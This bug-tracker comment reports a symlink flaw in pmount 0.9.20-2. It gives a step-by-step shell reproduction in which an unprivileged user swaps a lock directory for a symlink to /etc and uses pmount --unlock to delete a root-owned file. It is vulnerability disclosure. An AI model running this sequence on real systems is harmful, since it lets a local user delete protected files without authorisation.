Comment 4 for bug 574809

I tested with pmount 0.9.20-2.

You're correct that you can't alter existing files - only create new files and delete numeric-named files. You can reproduce the deletion as follows:

root@Dan:~# touch /etc/1
root@Dan:~# stat /etc/1
  File: `/etc/1'
  Size: 0 Blocks: 0 IO Block: 4096 regular empty file
Device: 801h/2049d Inode: 2936455 Links: 1
Access: (0644/-rw-r--r--) Uid: ( 0/ root) Gid: ( 0/ root)
Access: 2010-06-05 09:53:12.000000000 -0400
Modify: 2010-06-05 09:53:12.000000000 -0400
Change: 2010-06-05 09:53:12.000000000 -0400
root@Dan:~# su drosenbe
drosenbe@Dan:/root$ cd /var/lock/
drosenbe@Dan:/var/lock$ mkdir pmount_dev_sr0
drosenbe@Dan:/var/lock$ pmount --lock /dev/sr0 1
drosenbe@Dan:/var/lock$ rm -rf pmount_dev_sr0/
drosenbe@Dan:/var/lock$ ln -s /etc/ pmount_dev_sr0
drosenbe@Dan:/var/lock$ pmount --unlock /dev/sr0 1
Error: do_unlock: could not remove lock directory: Not a directory
drosenbe@Dan:/var/lock$ stat /etc/1
stat: cannot stat `/etc/1': No such file or directory

I agree with the low severity of this issue - it's mostly just an annoyance.